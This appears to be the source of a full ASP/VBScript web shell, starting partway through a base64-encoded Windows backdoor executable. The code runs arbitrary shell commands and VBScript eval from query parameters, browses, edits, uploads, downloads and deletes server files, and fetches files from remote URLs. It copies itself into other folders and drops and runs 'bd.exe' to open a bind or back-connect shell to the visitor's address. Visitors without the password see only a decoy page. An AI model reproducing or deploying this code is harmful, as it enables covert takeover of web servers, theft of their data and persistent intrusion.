+"ZzYLmKMO7B+GHMu2aballsz/AwI0FnfLsiwEAgENzlNBU9vmaAGIIQ4JAgj8lyctc4JQRUwBAwCJ" &_ +"C5Q/jIj9h+AADwELAQb0J3Zy2R3UFQQQAEAAEA+2YRNiEgcXYOxsFkyiDBAHy73sDQYAaESDR0DW" &_ +"DQii/B7WEBvBLhh0Oi6Q4LOQDTCY+mAuck2YdYaLJwlTA5pb7JRqQC4mJxwKUPKbkkFQwBO0RQAA" &_ +"aMVvsyQAAAD/AAAAAAAAAAAAAABgvgBQQACNvgDA//9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D" &_ +"7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0" &_ +"icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb" &_ +"c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz/" &_ +"//9eife5cAAAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWI2OLZjb4A" &_ +"UAAAiwcJwHRFi18EjYQwAHAAAAHzUIPHCP+WUHAAAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+W" &_ +"VHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4Bg" &_ +"KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA" &_ +"AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E" &_ +"TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA" &_ +"AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA" &_ +"AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_ +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +shell_style = "" &_ +"" + +'//################# FUNCTION GOES HERE #######################==============================================] +Function xcleanpath(path) + path = urldecode(Trim(path)) + strlen = Len(path) + If strlen > 0 Then + Do While((Mid(path,strlen) = "\") And (strlen > 0)) + strlen = strlen - 1 + path = Mid(path,1,strlen) + Loop + xcleanpath = path & "\" + Else + xcleanpath = path + End If +End Function +Function is_dir(path) + Set fs = CreateObject("Scripting.FileSystemObject") + If fs.FolderExists(path) Then + is_dir = true + Else + is_dir = false + End If + Set fs = nothing +End Function +Function is_file(path) + Set fs = CreateObject("Scripting.FileSystemObject") + If fs.FileExists(path) Then + is_file = true + Else + is_file = false + End If + Set fs = nothing +End Function +Function dirname(path) + Set fs = Server.CreateObject("Scripting.FileSystemObject") + If(is_file(path) Or is_dir(path)) Then + dirname = fs.getfilename(path) + Else + dirname = path + End If + set fs = nothing +End Function +Function nl2br(text) + nl2br = Replace(text, VbCrLf, "
") +End Function +Function urldecode(str) + str = Replace(str, "+", " ") + For i = 1 To Len(str) + sT = Mid(str, i, 1) + If sT = "%" Then + If i+2 < Len(str) Then + sR = sR & _ + Chr(CLng("&H" & Mid(str, i+1, 2))) + i = i+2 + End If + Else + sR = sR & sT + End If + Next + urldecode = sR +End Function +Function urlencode(str) + urlencode = Server.URLEncode(str) +End Function +Function base64_decode(base64String) + Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" + base64String = Replace(base64String, vbCrLf, "") + base64String = Replace(base64String, vbTab, "") + base64String = Replace(base64String, " ", "") + dataLength = Len(base64String) + For groupBegin = 1 To dataLength Step 4 + Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut + numDataBytes = 3 + nGroup = 0 + For CharCounter = 0 To 3 + thisChar = Mid(base64String, groupBegin + CharCounter, 1) + If thisChar = "=" Then + numDataBytes = numDataBytes - 1 + thisData = 0 + Else + thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1 + End If + nGroup = 64 * nGroup + thisData + Next + nGroup = Hex(nGroup) + nGroup = String(6 - Len(nGroup), "0") & nGroup + pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _ + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _ + Chr(CByte("&H" & Mid(nGroup, 5, 2))) + sOut = sOut & Left(pOut, numDataBytes) + Next + base64_decode = sOut +End Function +Function sort(arr_) + buff = "" + For Each b in arr_ + buff = buff & b & "|" + Next + If((Len(buff)-1) > 0) Then + arr = split(Mid(buff,1,Len(buff)-1),"|") + For i = UBound(arr) - 1 To 0 Step -1 + For j= 0 To i + If((arr(j)) > (arr(j+1))) Then + temp=arr(j+1) + arr(j+1)=arr(j) + arr(j)=temp + End If + Next + Next + sort = arr + Else + sort = array() + End If +End Function +Function htmlspecialchars(text) + text = Replace(text,"&","&") + text = Replace(text,"""",""") + text = Replace(text,"'","'") + text = Replace(text,"<","<") + text = Replace(text,">",">") + htmlspecialchars = text +End Function +Function xfilesave(FileName, content) + Set FS = CreateObject("Scripting.FileSystemObject") + ByteArray = str2bin(content) + Set TextStream = FS.CreateTextFile(FileName) + TextStream.Write bin2str(ByteArray) + If is_file(Filename) Then + xfilesave = true + Else + xfilesave = false + End If +End Function +Function str2bin(S) + For i=1 To Len(S) + MultiByte = MultiByte & ChrB(Asc(Mid(S,i,1))) + Next + str2bin = MultiByte +End Function +Function bin2str(Binary) + For I = 1 To LenB(Binary) + S = S & Chr(AscB(MidB(Binary, I, 1))) + Next + bin2str = S +End Function +Function xfileopen(file,binary) + file = urldecode(file) + if(binary) Then + xfileopen = ReadBinaryFile(file) + Else + set fs = Server.CreateObject("Scripting.FileSystemObject") + If fs.FileExists(file) Then + set f = fs.OpenTextFile(file,1,false) + If f.AtEndOfStream Then + xfileopen = "" + Else + xfileopen = f.ReadAll + End If + f.close + End If + set fs = nothing + End If +End Function +Function ReadBinaryFile(FileName) + Const adTypeBinary = 1 + Set BinaryStream = CreateObject("ADODB.Stream") + BinaryStream.Type = adTypeBinary + BinaryStream.Open + BinaryStream.LoadFromFile FileName + ReadBinaryFile = BinaryStream.Read +End Function +Function xparsefilesize(size) + If(size <= 1024) Then + xparsefilesize = size + Else + If(size <= 1024*1024) Then + size = FormatNumber(size / 1024,2) + xparsefilesize = size & " kb" + Else + size = FormatNumber(size / 1024 / 1024,2) + xparsefilesize = size & " mb" + End If + End If +End Function +Function xfileperms(file) + Set fs = Server.CreateObject("Scripting.FileSystemObject") + isreadable = "r" + iswriteable = "-" + If fs.FileExists(file) Then + Set f = fs.GetFile(file) + bit = f.Attributes + Set f = nothing + If Not (bit And 1) Then + iswriteable = "w" + End If + Elseif fs.FolderExists(file) Then + Set f = fs.GetFolder(file) + bit = f.Attributes + Set f = nothing + If Not (bit And 1) Then + iswriteable = "w" + End If + End If + Set fs = nothing + xfileperms = isreadable & " / " & iswriteable +End Function +Function xdateformat(tgl) + If(IsDate(tgl)) Then + xday = Day(tgl) + If Len(xday) = 1 Then + xday = "0" & xday + End If + xmonth = Mid(MonthName(Month(tgl)),1,3) + xdateformat = xday & "-" & xmonth & "-" & Year(tgl) & " " & FormatDateTime(tgl,4) + End If +End Function +Function xfilelastmodified(file) + If(Len(file) > 3) Then + Set fs = Server.CreateObject("Scripting.FileSystemObject") + If fs.FileExists(file) Then + Set f = fs.GetFile(file) + tgl = f.DateLastModified + Set f = nothing + xfilelastmodified = xdateformat(tgl) + ElseIf fs.FolderExists(file) Then + Set f = fs.GetFolder(file) + tgl = f.DateLastModified + Set f = nothing + xfilelastmodified = xdateformat(tgl) + Else + xfilelastmodified = "???" + End If + Else + xfilelastmodified = xdateformat(CDate("01/01/1980 00:00")) + End If + Set fs = nothing +End Function +Function xparentfolder(dir) + dir = xcleanpath(dir) + Set fs = Server.CreateObject("Scripting.FileSystemObject") + If fs.FolderExists(dir) Then + If Len(dir) = 3 Then + xparentfolder = xcleanpath(dir) + Else + xparentfolder = xcleanpath(fs.GetParentFolderName(dir)) + End If + Else + xparentfolder = dir + End If + Set fs = nothing +End Function +Function xfilesummary(file) + buff= "" + If(is_file(file)) Then + buff = "Filesize : " & xparsefilesize(xfilesize(file)) & " ( " & xfilesize(file) & " ) :: Permission : " & xfileperms(file) & " ( " & xfileowner(file) & " ) :: modified : " & xfilelastmodified(file) + End If + xfilesummary = buff +End Function +Function xfilesize(file) + Set fs = Server.CreateObject("Scripting.FileSystemObject") + If fs.FileExists(file) Then + Set f = fs.GetFile(file) + xfilesize = f.Size + Set f = nothing + Else + xfilesize = 0 + End If + Set fs = nothing +End Function +Function xfileowner(strFile) + If Mid(strFile,Len(strFile)) = "\" Then + strfile = Mid(strfile,1,len(strfile)-1) + End If + On Error Resume Next + strComputer = "." + Set objWMIService = GetObject("winmgmts:" _ + & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") + Set objCollection = objWMIService.ExecQuery _ + ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile _ + & "'} WHERE AssocClass=Win32_LogicalFileOwner ResultRole=Owner") + For Each objSID in objCollection + If objSID.AccountName <> "" Then + xfileowner = objSID.AccountName + End If + Next + If xfileowner = "" Then + xfileowner = "Everyone" + End If +End Function +Function ekse(cmd) + Set sh = Server.CreateObject("WScript.Shell") + curdir = Request.QueryString("dir") + if(curdir = "") Then + Dim CurPath + Set CurPath = CreateObject("Scripting.FileSystemObject") + curdir = CurPath.GetAbsolutePathName(".") + Set CurPath = nothing + End If + pos = InStr(curdir,":") + curdrive = Mid(curdir,1,pos) + chdir = curdrive & " && " & "CD """ & curdir & """" + Set pipe = sh.Exec("%COMSPEC% /C " & chdir & " && " & cmd) + output = pipe.StdOut.ReadAll() & pipe.StdErr.ReadAll() + Set sh = nothing + Set pipe = nothing + ekse = output +End Function +Function OSver() + Set WshShell = Server.CreateObject("Wscript.Shell") + Set OSchk = WshShell.Environment + OSver = OSchk("OS") + Set WshShell = nothing + Set OSchk = nothing + If (OSver = "") Then + OSver = ekse("ver") + End If +End Function +Function xtrim(str) + Set myRegExp = New RegExp + myRegExp.IgnoreCase = True + myRegExp.Global = True + myRegExp.Pattern = "^" & VbCrLf + xtrim = Trim(myRegExp.Replace(str,"")) + myRegExp.Pattern = VbCrLf & "$" + xtrim = Trim(myRegExp.Replace(str,"")) + Set myRegExp = nothing +End Function +Function xparsedir(dir) + dirs = split(dir,"\") + buff = "" + dlink = "" + For Each d in dirs + d = xtrim(d) + If(d <> "") Then + dlink = dlink & Server.URLEncode(d & "\") + buff = buff & "" & d & " " & "\" & " " + End If + Next + xparsedir = "[ " & buff & " ]" +End Function +Sub xwget(myURL,myPath) + Dim i, objFile, objFSO, objHTTP, strFile, strMsg + Const ForReading = 1, ForWriting = 2, ForAppending = 8 + Set objFSO = CreateObject("Scripting.FileSystemObject") + If objFSO.FolderExists( myPath ) Then + strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) + ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then + strFile = myPath + Else + Exit Sub + End If + Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) + Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) + objHTTP.Open "GET", myURL, False + objHTTP.Send + For i = 1 To LenB( objHTTP.ResponseBody ) + objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) + Next + objFile.Close( ) +End Sub +Function xrunexploit(fpath,base64,port,tipe) + con = base64_decode(base64) + fname = "bd.exe" + ip = "" + ok = false + fpath = xcleanpath(fpath) & fname + If(is_file(fpath)) Then + unlink(fpath) + End If + If(xfilesave(fpath,con)) Then + fpath = Trim(fpath) + If(tipe = "connect") Then ip = Request.ServerVariables("REMOTE_ADDR") + final = fpath & " " & port & " " & ip + ekse(Trim(final)) + xrunexploit = true + Else + xrunexploit = false + End If +End Function +Function xdrive() + Dim fs,d,n,letters + letters = "" + Set fs = Server.CreateObject("Scripting.FileSystemObject") + Set d = fs.Drives + For Each letter in d + letter = mid(letter,1,1) + letters = "[ " + letters = letters & letter + letters = letters & " ] " + buff = buff & letters + Next + Set d = nothing + Set fs = nothing + If(buff <> "") Then + buff = buff & "
" + End If + xdrive = buff +End Function +Public Sub xrmdir(path) + path = xcleanpath(path) + path = Mid(path,1,Len(path)-1) + Set fs = Server.CreateObject("Scripting.FileSystemObject") + Set f = fs.GetFolder(path) + Set fname = f.Files + Set dname = f.subFolders + Set fs = nothing + For Each frm in fname + unlink(frm) + Next + For Each drm in dname + xrmdir(drm) + Next + f.Delete(true) + Set f = nothing +End Sub +Function unlink(path) + Set fs = Server.CreateObject("Scripting.FileSystemObject") + If fs.FileExists(path) Then + Set f = fs.GetFile(path) + f.Delete + Set f = nothing + End If + Set fs = nothing +End Function +Function mkdir(path) + Set fs = Server.CreateObject("Scripting.FileSystemObject") + If Not fs.FolderExists(path) Then + fs.CreateFolder(path) + End If + Set fs = nothing +End Function +Function xdir(path) + path = Trim(urldecode(path)) + path = xcleanpath(path) + buff = "" + If(is_dir(path)) Then + Set fs = Server.CreateObject("Scripting.FileSystemObject") + Set f = fs.GetFolder(path) + Set xfname = f.Files + Set xdname = f.subFolders + Set f = nothing + Set fs = nothing + xfname = sort(xfname) + xdname = sort(xdname) + buff = "
" &_ + "" &_ + "" &_ + "" &_ + "" &_ + "" + If(Len(path) > 3) Then + sd = "." + dd = xcleanpath(path) + buff = buff & "" &_ + "" &_ + "" &_ + "" &_ + "" &_ + "" &_ + "" + sd = ".." + dd = xcleanpath(xparentfolder(path)) + buff = buff & "" &_ + "" &_ + "" &_ + "" &_ + "" &_ + "" &_ + "" + End If + For Each d In xdname + sd = dirname(d) + nextdir = xcleanpath(path) + buff = buff & "" &_ + "" &_ + "" &_ + "" &_ + "" &_ + "" &_ + "" + Next + For Each f In xfname + sf = dirname(f) + view = "?dir=" & urlencode(path) & "&view=" & urlencode(f) + buff = buff & "" &_ + "" &_ + "" &_ + "" &_ + "" &_ + "" + Next + buff = buff & "
FilenameFilesizePermissionLast ModifiedAction
[ " & sd & " ]DIR" & xfileperms(dd) & "" & xfilelastmodified(dd) & "Properties | Remove
[ " & sd & " ]DIR" & xfileperms(dd) & "" & xfilelastmodified(dd) & "Properties | Remove
[ " & sd & " ]DIR" & xfileperms(d) & "" & xfilelastmodified(d) & "Properties | Remove
" &_ + "" &_ + sf & "" & xparsefilesize(xfilesize(f)) & "" & xfileperms(f) & "" & xfilelastmodified(f) & "Edit | Download | Remove
" + xdir = buff + Set xdname = nothing + Set xfname = nothing + End If +End Function +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + Public Default Sub Upload() + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + nPosBegin = nPos + 4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + End If + nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) + Loop + End Sub + Private Function CByteString(sString) + For nIndex = 1 to Len(sString) + CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) + Next + End Function + Private Function CWideString(bsString) + CWideString ="" + For nIndex = 1 to LenB(bsString) + CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1))) + Next + End Function +End Class +Class UploadedFile + Public ContentType + Public FileName + Public FileData + Public Property Get FileSize() + FileSize = LenB(FileData) + End Property + Public Sub SaveToDisk(sPath) + If sPath = "" Or FileName = "" Then Exit Sub + If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" + Set oFS = Server.CreateObject("Scripting.FileSystemObject") + If Not oFS.FolderExists(sPath) Then Exit Sub + Set oFile = oFS.CreateTextFile(sPath & FileName, True) + For nIndex = 1 to LenB(FileData) + oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) + Next + oFile.Close + End Sub +End Class +'//################# INIT GOES HERE #######################==================================================] +If(Request.Form("passw") <> "") Then + check = Trim(Request.Form("passw")) + If(check = shell_password) Then + Response.Cookies("pass") = check + Response.Cookies("pass").Expires = Date + 7 + Else + Response.Cookies("pass") = check + Response.Cookies("pass").Expires = Date - 7 + End If +End If +If(Request.Cookies("pass") <> "") Then + check = Request.Cookies("pass") +Else + check = "" +End If +If(check = shell_password) Then + auth = true +Else + auth = false +End If +If(Request.QueryString("img") <> "") Then + file = Request.QueryString("img") + if(is_file(file)) Then + Response.Clear + Response.ContentType= "image/jpeg" + Response.BinaryWrite ReadBinaryFile(file) + Response.End + Else + Response.Clear + Response.Buffer = true + Response.ContentType = "image/png" + If file = "bg" Then + buff = str2bin(base64_decode(bg)) + Else + buff = str2bin(base64_decode(icon)) + End If + Response.BinaryWrite buff + Response.End + End If +End If +If(Request.QueryString("get") <> "") Then + file = Request.QueryString("get") + fname = Mid(file,InStrRev(file,"\")+1) + Response.ContentType = "application/x-msdownload" + Response.AddHeader "Content-transfer-encoding", "binary" + Response.AddHeader "Content-Disposition", "attachment;filename="& fname &"" + dim txt, objStream + Set objStream = Server.CreateObject("ADODB.Stream") + objStream.Mode = 3 + objStream.open + objStream.loadfromfile file + txt = objStream.readtext(-1) + response.binarywrite(txt) + objStream.close + set objStream = nothing + txt = null + Response.End +End If +If((Request.QueryString("btnConnect") <> "") And (IsNumeric(Request.QueryString("bportC")))) Then + port = Request.QueryString("bportC") + dir = xcleanpath(Trim(Request.QueryString("dir"))) + If(xrunexploit(dir,wBind,port,"connect"))Then + End If +ElseIf((Request.QueryString("btnListen") <> "") And (IsNumeric(Request.QueryString("lportC")))) Then + port = Request.QueryString("lportC") + dir = xcleanpath(Trim(Request.QueryString("dir"))) + if(xrunexploit(dir,wBind,port,"listen"))Then + End If +End If +uploaded = false +If(Request.QueryString("dir") = "") Then + xCwd = Mid(Request.ServerVariables("PATH_TRANSLATED"),1,InStrRev(Request.ServerVariables("PATH_TRANSLATED"),"\")) +Else + newdir = xcleanpath(Trim(Request.QueryString("dir"))) + If (is_dir(newdir)) Then + xCwd = newdir + End If + If(Request.QueryString("upload") <> "") Then + uploaded = true + Set Up = New FileUploader + Up.Upload() + If(Up.Form("btnNewUploadLocal") <> "") Then + Uploaded = true + If Up.Files.Count > 0 Then + For Each File In Up.Files.Items + If(Up.Form("filename") <> "") Then File.Filename = Up.Form("filename") + File.SaveToDisk xCwd + Next + End If + Elseif(Up.Form("btnNewUploadUrl") <> "") Then + targeturl = Up.Form("fileurl") + If targeturl <> "" Then + If(Up.Form("filename") <> "") Then + upname = Up.Form("filename") + Else + upname = Mid(targeturl,InStrRev(targeturl,"/")) + End If + targetpath = xCwd & upname + xwget targeturl,targetpath + End If + End If + + End If + If(Request.QueryString("foldername") <> "") Then + fname = xcleanpath(Trim(Request.QueryString("foldername"))) + If(NOT is_dir(newdir & fname)) Then + mkdir(newdir & fname) + End If + ElseIf(Request.QueryString("del") <> "") Then + fdel = Trim(Request.QueryString("del")) + If(is_file(fdel)) Then + unlink(fdel) + Elseif(is_dir(fdel)) Then + xrmdir(fdel) + newdir = xparentfolder(fdel) + End If + Elseif(Request.QueryString("childname") <> "") Then + childname = newdir & Trim(Request.QueryString("childname")) + con = xfileopen(Request.ServerVariables("PATH_TRANSLATED"),false) + If(xfilesave(childname,con)) Then + End If + End If +End If +xCwd = xcleanpath(xCwd) +If(Request.QueryString("cmd") <> "") Then + Dim cmd,pos,newdir + cmd = Trim(Request.QueryString("cmd")) + pos = InStr(LCase(cmd),"cd ") + If pos = 1 Then + newdir = Trim(Mid(cmd,3)) + if(newdir = "\") Then + xCwd = Mid(xCwd,1,3) + Else + If(InStr(newdir,":") > 0) Then + if(is_dir(newdir)) Then + xCwd = xcleanpath(newdir) + Set CurPath = CreateObject("Scripting.FileSystemObject") + xCwd = xcleanpath(CurPath.GetAbsolutePathName(xcwd)) + Set CurPath = nothing + End If + Else + If(is_dir(xCwd & newdir)) Then + xCwd = xcleanpath(xCwd & newdir) + Set CurPath = CreateObject("Scripting.FileSystemObject") + xCwd = xcleanpath(CurPath.GetAbsolutePathName(xcwd)) + Set CurPath = nothing + End If + End If + End If + result = xdir(xCwd) + ElseIf((Len(cmd) <= 3) And (InStr(cmd,":") > 0)) Then + If(is_dir(cmd)) Then + xCwd = UCase(Mid(cmd,1,1)) & ":\" + End If + result = xdir(xCwd) + Else + result = ekse(cmd) + if(result = "") Then + result = xdir(xCwd) + Else + result = Replace(htmlspecialchars(result), " ", " ") + result = nl2br(result) + End If + End If +ElseIf(Request.QueryString("eval") <> "") Then + Response.ContentType = "text/html" + sblm = Mid(Request.QueryString,5,InStr(Request.QueryString,"eval") - 6) + Response.Write "
" + Response.Write "" + Response.Write "" + Response.Write "
" + Response.Write execute(Request.QueryString("eval")) + Response.End +ElseIf(Request.QueryString("properties") <> "") Then + fname = xcleanpath(Request.QueryString("properties")) + If(Request.QueryString("oldfilename") <> "") Then + oldname = Request.QueryString("oldfilename") + Set fs = Server.CreateObject("Scripting.FileSystemObject") + If(is_file(oldname)) Then + Set f = fs.GetFile(oldname) + Elseif(is_dir(oldname)) Then + Set f = fs.GetFolder(oldname) + End If + f.Move(fname) + set f = nothing + set fs = nothing + End If + dir = Request.QueryString("dir") + fcont = "" + fview = "" + If(is_dir(fname)) Then + fsize = "DIR" + fname = Mid(fname,1,Len(fname)-1) + fcont = xdir(fname) + faction = "
Properties | Remove" + Set fs = Server.CreateObject("Scripting.FileSystemObject") + Set f = fs.GetFolder(fname) + filectime = xdateformat(f.DateCreated) + fileatime = xdateformat(f.DateLastAccessed) + filemtime = xdateformat(f.DateLastModified) + set f=nothing + set fs=nothing + Else + fname = Mid(fname,1,Len(fname)-1) + fsize = xparsefilesize(xfilesize(fname)) & " ( " & xfilesize(fname) & " bytes )" + xtype = "" + If(Request.QueryString("type") <> "") Then + xtype = Request.QueryString("type") + Else + Set fs = Server.CreateObject("Scripting.FileSystemObject") + Set f = fs.GetFile(fname) + contype = LCase(f.Type) + If(InStr(contype,"image")) Then + xtype = "img" + Else + xtype = "text" + End If + End If + If(xtype = "text") Then + code = htmlspecialchars(xfileopen(fname,false)) + fcont = "
" & nl2br(code) & "
" + Elseif(xtype = "img") Then + imglink = "

[ view full size ]

" + fcont = "
" & imglink & "
" + Else + fcont = "" + End If + Set fs = Server.CreateObject("Scripting.FileSystemObject") + Set f = fs.GetFile(fname) + filectime = xdateformat(f.DateCreated) + fileatime = xdateformat(f.DateLastAccessed) + filemtime = xdateformat(f.DateLastModified) + set f=nothing + set fs=nothing + faction = "Edit | Download | Remove" + fview = "[ text ][ image ]" + End If + fowner = xfileowner(fname) + fperm = xfileperms(fname) + result = "
" &_ + "
" &_ + "" &_ + "" & faction & " | " &_ + " " &_ + "" &_ + "" &_ + "
" &_ + "Size = " & fsize & "
" &_ + "Owner = ( " & fowner & " )
" &_ + "Permission = ( " & fperm & " )
" &_ + "Create Time = ( " & filectime & " )
" &_ + "Last Modified = ( " & filemtime & " )
" &_ + "Last Accessed = ( " & fileatime & " )
" &_ + fview &_ + "
" & fcont &_ + "
" &_ + "
" +ElseIf((Request.QueryString("view") <> "") Or (Request.QueryString("filename") <> "")) Then + msg = "" + If(Request.Form("save") = "Save As") Then + file = Trim(Request.Form("saveas")) + content = Request.Form("filesource") + If(xfilesave(file,content)) Then + pesan = "File Saved" + Else + pesan = "Failed to save file" + End If + msg = "[ " & pesan & " ]" + Else + If(Request.QueryString("view") <> "") Then + file = Trim(Request.QueryString("view")) + Else + file = xCwd & Trim(Request.QueryString("filename")) + End If + End If + result = xfileopen(file,false) + result = htmlspecialchars(result) + result = "

" & xfilesummary(file) & "" & msg & "

" &_ + "
" &_ + "" &_ + " " &_ + "
" +Else + result = xdir(xCwd) +End If +'//################# Finalizing #######################======================================================] +If(auth) Then + If(Request.QueryString("bportC") <> "") Then + bportC = Request.QueryString("bportC") + Else + bportC = shell_fav_port + End If + If(Request.QueryString("lportC") <> "") Then + lportC = Request.QueryString("lportC") + Else + lportC = shell_fav_port + End If + html_title = shell_title & " " & xCwd + html_head = "" &_ +"" & html_title & "" &_ +"" &_ +"" & shell_style & "" &_ +"" +html_body = "" &_ +"
" &_ +"

" & shell_title & "

" &_ +"
" & xHeader & "" &_ +"
" &_ +xdrive() & xparsedir(xCwd) &_ +"
" &_ +"" &_ +"
" &_ +"[ New File ] " &_ +"[ New Folder ] " &_ +"[ Replicate ] " &_ +"[ Upload ] " &_ +"[ BindShell ] " &_ +"[ VBs Eval ] " &_ +"
" &_ +"" &_ +"
" &_ +"
" &_ +"" &_ +"" &_ +"" &_ +"" &_ +"" &_ +"" &_ +"" &_ +"" &_ +"" &_ +"
BackConnect" &_ +"Port " &_ +" " &_ +"example: (using netcat) run "nc -l -p " & bportC & "" and then press Connect
Listen" &_ +"Port " &_ +" " &_ +"example: (using netcat) press "Listen" and then run "nc " & xServerIP & " " & lportC & ""
" &_ +"
" &_ +"
" &_ +"" &_ +"
" &_ +"
" &_ +"" &_ +"" &_ +"" &_ +"
New Foldername" &_ +"" &_ +"" &_ +"" &_ +"
" &_ +"
" &_ +"
" &_ +"" &_ +"
" &_ +"
" &_ +"" &_ +"" &_ +"" &_ +"" &_ +"
New Filename" &_ +"" &_ +"" &_ +"" &_ +"
" &_ +"
" &_ +"" &_ +"
" &_ +"
" &_ +"" &_ +"" &_ +"" &_ +"" &_ +"
Save as
From Url" &_ +"" &_ +"
From Computer" &_ +"" &_ +"" &_ +"" &_ +"
" &_ +"
" &_ +"
" &_ +"" &_ +"
" &_ +"
" &_ +"" &_ +"" &_ +"" &_ +"
New Shellname" &_ +"" &_ +"" &_ +"
" &_ +"
" &_ +"
" &_ +"" &_ +"
" &_ +"
" &_ +"" &_ +"" &_ +"" &_ +"" &_ +"
" &_ +"" &_ +"
" &_ +"
" &_ +"
" &_ +"" &_ +"
" &_ +"
" &_ +"
" &_ +"" &_ +"" &_ +"" &_ +"
" &_ +"
" &_ +"
" &_ +"" &_ +"
" &_ +"" & result & "" &_ +"
" +Else + html_title = shell_fake_name + html_head = "" & html_title & "" & shell_style + html_body = "" &_ +"
" &_ +"
" &_ +"
" &_ +"" &_ +" " &_ +"
" &_ +"
" &_ +"
" & shell_fake_name & "
" &_ +"
